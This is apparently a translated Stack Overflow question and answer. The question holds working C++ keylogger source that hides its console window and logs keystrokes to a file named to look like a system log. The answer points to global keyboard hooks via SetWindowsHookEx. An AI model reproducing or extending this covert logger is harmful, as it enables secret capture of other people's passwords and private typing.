3

キーストロークがC++でどのように機能するかを確認するために、自分のPCで小さなキーロガーを作成したいと思いました。オンラインでコードを見つけて少し編集しましたが、やりたいことをどうやってやるのかわかりません。

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

「。」のようなものを適切に保存するように修正したいと思います。「、」以上ですが、キーストロークに慣れていないのでわかりません。また、CPUの使用量を減らす何かを追加したいと思います(現在、i5では25%)。どちらの値を使用するかはわかりませんが、おそらくSleep(value)を使用する必要があります。

4

1 に答える 1

7

どの Windows API 関数が作業に適しているかについての詳細は、こちらこちらの回答をご覧ください。


基本的な考え方は、SetWindowsHookEx を使用してキーボードにいわゆる「フック」関数を設定することです (Keyboard または Keyboard_LL のいずれか - おそらく最初のほうが必要です)。キーボードロガーをアンロードするときは、アンフックする必要があります。フックを設定すると、Windows は各キーボード イベントの後にフック関数を呼び出します。それを処理 (どこかに記録) し、CAllNextHook を使用して次のフックを呼び出して、Windows でイベントの処理を続行します。そこでは、いくつかの試行とデバッグが必要になります。

グローバル フックについては以上です (2 番目のリンクは MSDN で情報を提供します)。SetWindowsHookEx 関数について調査し、その背後にあるメカニズムを理解しようとすると、すぐに成功するでしょう。検索のキーワードとして「フック」を使用して、stackoverflow で検索を絞り込むこともできます (たとえば、こちらを読んでください) 。

于 2012-10-18T12:02:29.603 に答える